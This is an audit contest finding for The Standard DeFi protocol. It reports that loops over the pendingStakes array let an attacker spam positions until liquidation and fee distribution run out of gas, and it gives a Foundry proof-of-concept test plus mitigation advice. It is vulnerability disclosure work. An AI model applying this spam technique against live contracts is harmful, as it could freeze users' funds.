The Standard

The Standard
DeFiHardhat
20,000 USDC
View results
Submission Details
Severity: high
Valid

`getTstTotal()` Looping Through `pendingStakes` Array for Stakers' Positions Pose a Potential Denial of Service (DoS) Attack

Description:

Whenever the following functions are called, they make sub-function calls that iterate over the pendingStakes array: LiquidationPool::increasePosition(), LiquidationPool::decreasePosition(), LiquidationPool::distributeAssets(), LiquidationPoolManager::distributeFees(), LiquidationPoolManager::runLiquidation(), and LiquidationPool::distributeFees(). These sub-functions, in turn, loop through the pendingStake array to find the user's position before taking action.

Impact:
If the pendingStakes array becomes excessively long, leading to an unresponsive state due to an Out of Gas error, users' funds are at severe risk. The consequences range from loss of funds to the death of the protocol.

Proof of Concept:
A malicious actor could disrupt the network by creating numerous addresses and spamming the network with transactions. This could result in the pendingStakes array becoming too long to iterate over efficiently, effectively preventing withdrawals.

Proof of Code:

Code

The provided test suite demonstrates the vulnerability's validity and severity.

How to Run the Test:

  • Due to the file size required to run this PoC, the suite is hosted on Github.

  • To run the PoC, clone the repository.

  • Minor changes, such as modifying function visibility, were made to enable successful test runs.

  • All changes and additional files made to the original code are documented in the README and the respective files where the changes are made.

Requirements:

  • Install Foundry.

  • Clone the project codebase into your local workspace.

    git clone https://github.com/Renzo1/the-standard-protocol-2.git
  • Run the following commands to install dependencies:

    npm install
    forge install
  • Run the following command to execute the PoC:

    forge test --match-test "testFeeDistributionDoS" -vvv
function testFeeDistributionDoS() public {
vm.txGasPrice(1);
// //////// Create one vault ////////
ISmartVault[] memory vaults0 = new ISmartVault[](1);
vaults0 = createVaultOwners(1);
//////// Owner 1 variables ////////
ISmartVault vault1 = vaults0[0];
address owner1 = vault1.owner();
uint256 tstBalance1 = TST.balanceOf(owner1);
uint256 euroBalance1 = EUROs.balanceOf(owner1);
//////// Stake Tokens -- create holder ////////
vm.warp(block.timestamp + 2 days);
vm.startPrank(owner1);
TST.approve(pool, tstBalance1);
EUROs.approve(pool, euroBalance1);
liquidationPool.increasePosition( tstBalance1/4, euroBalance1/4);
EUROs.transfer(liquidationPoolManager, tstBalance1/4);
vm.stopPrank();
assertEq(EUROs.balanceOf(liquidationPoolManager),tstBalance1/4);
//////// Distribute fees ////////
uint256 gasStart1 = gasleft(); // see gas cost for subsequent transaction
liquidationPoolManagerContract.distributeFees();
uint256 gasEnd1 = gasleft();
vm.warp(block.timestamp + 2 days); // clear pendingStakes
uint256 gasUsed1 = (gasStart1 - gasEnd1) * tx.gasprice;
//////// Add more holders to liquidationPool ////////
ISmartVault[] memory vaults = new ISmartVault[](20);
vaults = createVaultOwners(20);
for(uint256 i = 0; i < vaults.length; i++){
vm.startPrank(vaults[i].owner());
TST.approve(pool, tstBalance1);
EUROs.approve(pool, euroBalance1);
liquidationPool.increasePosition( 1000, 1000);
vm.stopPrank();
}
//////// Distribute fees again ////////
vm.startPrank(owner1);
EUROs.transfer(liquidationPoolManager, tstBalance1/4);
vm.stopPrank();
assertGt(EUROs.balanceOf(liquidationPoolManager), 0);
uint256 gasStart2 = gasleft(); // see gas cost for subsequent transaction
liquidationPoolManagerContract.distributeFees();
uint256 gasEnd2 = gasleft();
uint256 gasUsed2 = (gasStart2 - gasEnd2) * tx.gasprice;
//////// Assert increase in gas cost for 2nd transactions ////////
assertGt(gasUsed2, gasUsed1,"DoS TEST 1");
}

Tools Used:

  • Manual review

  • Foundry

Recommended Mitigation Steps:

Consider alternative design structures that are more gas-efficient. For example, explore the use of mappings instead of arrays or incorporate the EnumerableMap library by OpenZeppelin.

Updates

Lead Judging Commences

hrishibhat Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

pendingstake-dos

hrishibhat Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

pendingstake-high

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.